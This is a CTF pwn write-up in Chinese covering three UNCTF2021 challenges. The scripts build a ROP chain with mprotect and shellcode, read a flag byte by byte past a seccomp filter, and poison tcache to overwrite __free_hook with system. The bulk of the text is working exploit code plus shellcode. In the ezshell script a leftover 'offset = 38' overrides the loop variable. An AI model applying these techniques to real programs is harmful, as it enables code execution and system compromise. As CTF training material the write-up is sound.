UNCTF2021pwn-wp

题目总体比较简单,就挑三道相比没那么简单的题详细讲一下

ezrop

题目

题目很简单,就是一个栈溢出漏洞

开启了NX保护

但是给了mprotect函数

思路

简单的栈溢出又开启了NX保护,就不能简单地写个shellcode到栈上,但是题目又没有system函数,所以还是得用shellcode,只要把shellcode所在的内存页用mprotect函数开启执行权限就行了。因为靶机开启了ASLR保护,所以栈的地址是动态变化的,又没有write函数能够泄露地址,所以我们无法得到栈的地址,把shellcode写到栈上这条路就行不通,只能另找地址来放shellcode。

在0x600000的页上我们是有写到权限的,所以我们可以考虑把shellcode写到0x600000的页上。首先利用栈溢出构造rop链再次调用read函数来读取shellcode放到0x600000的页上,并把栈迁移到0x600000的页上,这样我们就又能构造rop链来执行mprotect函数开启0x600000的页的执行权限,然后执行shellcode。

这里为了不影响程序运行,我们把第二个rop链读取到程序没有使用的0x600e00处

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = process('./ezrop')

buf_addr = 0x600e00
call_mprotect = 0x400671
call_read = 0x400651
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006DA
mov_rdx_r13_call = 0x4006C0
r12 = buf_addr + 0x48
pop_rdi_ret = 0x4006e3
pop_rsi_pop_r15_ret = 0x4006e1
shellcode_addr = buf_addr + 0x88

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload1 = 'a'*0x50 + p64(buf_addr)
payload1 += p64(pop_rsi_pop_r15_ret) + p64(buf_addr) + p64(0x0)
payload1 += p64(call_read)

payload2 = 'a'*8
payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0x0) * 2 + p64(r12) + p64(0x7) + p64(0x0) * 2
payload2 += p64(mov_rdx_r13_call)
payload2 += p64(pop_rdi_ret) + p64(0x600000)
payload2 += p64(pop_rsi_pop_r15_ret) + p64(0x1000) + p64(0x0)
payload2 += p64(call_mprotect)
payload2 += 'a'*8 #rbp
payload2 += p64(shellcode_addr)
payload2 += shellcode

p.send(payload1.ljust(0x200, '\x90'))
p.send(payload2.ljust(0x200, '\x90'))

p.interactive()

ezshell

题目

这是一道seccomp的题,题目逻辑就是执行输入的0x18字节的shellcode

用seccomp-tools查看syscall的过滤规则,可以看到只允许readopenmprotect三个系统调用

思路

题目只能输入0x18字节的shellcode,这肯定是远远不够的,所以我们先用这0x18个字节再执行一次read读入更多的shellcode,这段shellcode就可以用来读flag,把后读入的shellcode放到后面,就能一起执行。但是我们甚至都没有write函数,即使能读flag也无法输出出来。这里我采取的是爆破的方法,对读入内存的flag逐字节爆破,比较内存中的字符与传入的字符,如果相同就陷入死循环,用recv超时来判断是否相同。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# context.log_level='debug'
context.arch = 'amd64'

mmap = 0x10000


def cmp_flag_by_byte(p, offset, ch):

code = asm(
"""
mov rsi, 0x10300
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl, dl
jz loop
xor edi, edi
push SYS_exit
pop rax
syscall
loop:
jmp loop
""".format(offset, ch)
)
sh3 = asm(shellcraft.open('./flag'))
sh3 += asm(shellcraft.read(3, mmap + 0x300, 0x100))
sh3 += code

sh1 = asm(shellcraft.read(0, mmap + 0x18, len(sh3))).ljust(0x18, '\x90')
p.sendafter('master?\n', sh1)

p.send(sh3)


flag = ''
for offset in range(0x30):
offset = 38
for ch in range(0x20, 0x7E+1):
p = process('./ezshell_new')
try:
cmp_flag_by_byte(p, offset, ch)
p.recv(timeout=2)
flag += chr(ch)
print("find one byte in flag :", flag)
p.close()
break
except:
p.close()
print("all done: flag is ", flag)

Nnote

题目

题目就是常规的note管理,提供了增删查改。漏洞点在add里面,size可以为0,这样在edit的时候就会造成溢出

思路

因为libc是2.31的,所以存在tcache,思路也很简单,如果我们能够溢出到已经在tcache中chunk,并且修改其next指针,就能伪造chunk,从而实现任意地址写,然后把__free_hook指针修改为system的地址,就能getshell。然而我们还需要泄露libc的地址,我们知道unsorted bin中的头尾两个chunk里是有libc地址的,所以只要申请8个0x80的chunk再释放,tcache链被填满之后就会有一个chunk进入到unsorted bin中,这时如果申请size为0的chunk(实际得到的chunk是0x20大小的),就会把unsorted bin的chunk从头部拆分出一个0x20的chunk,因为size为0,所以add中的memset函数不会清空chunk里的内容,这样我们就能读出chunk里的libc的地址。

另外调试的时候可以利用glibc-all-in-one和patchelf两个工具修改程序的链接库到2.31的版本

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.log_level= 'debug'
p = process('./Nnote')

libc = ELF('./libc-2.31.so')
def add(size):
p.sendlineafter('> ', '1')
p.sendlineafter('size: ', str(size))

def delete(index):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(index))

def edit(index, data):
p.sendlineafter('> ', '3')
p.sendlineafter('index: ', str(index))
p.sendlineafter('data:', data)

def show(index):
p.sendlineafter('> ', '4')
p.sendlineafter('index: ', str(index))


add(0x80) #0

for i in range(7):
add(0x80) #1-8
for i in range(1, 8):
delete(i) #fill the tcache

delete(0)

add(0) #0

show(0)
libc_base = u64(p.recvuntil('5.Exit')[:6].ljust(8, '\x00')) - 0x1ebc60
p.info('libc leak {}'.format(hex(libc_base)))

add(0) #1
add(0) #2
delete(2)
delete(1)


payload = '\x00' * 0x18
payload += p64(0x21) #size

payload += p64(libc_base + libc.symbols['__free_hook']) #overwrite next to __free_hook
edit(0, payload)

add(0) #1

add(0) #2: the fake chunk

edit(2, p64(libc_base + libc.symbols['system'])) #overwrite __free_hook to system

#getshell
add(0x10)
edit(3, '/bin/sh')
delete(3)

p.interactive()
文章目录
  1. 1. ezrop
    1. 1.1. 题目
    2. 1.2. 思路
    3. 1.3. exp
  2. 2. ezshell
    1. 2.1. 题目
    2. 2.2. 思路
    3. 2.3. exp
  3. 3. Nnote
    1. 3.1. 题目
    2. 3.2. 思路
    3. 3.3. exp
|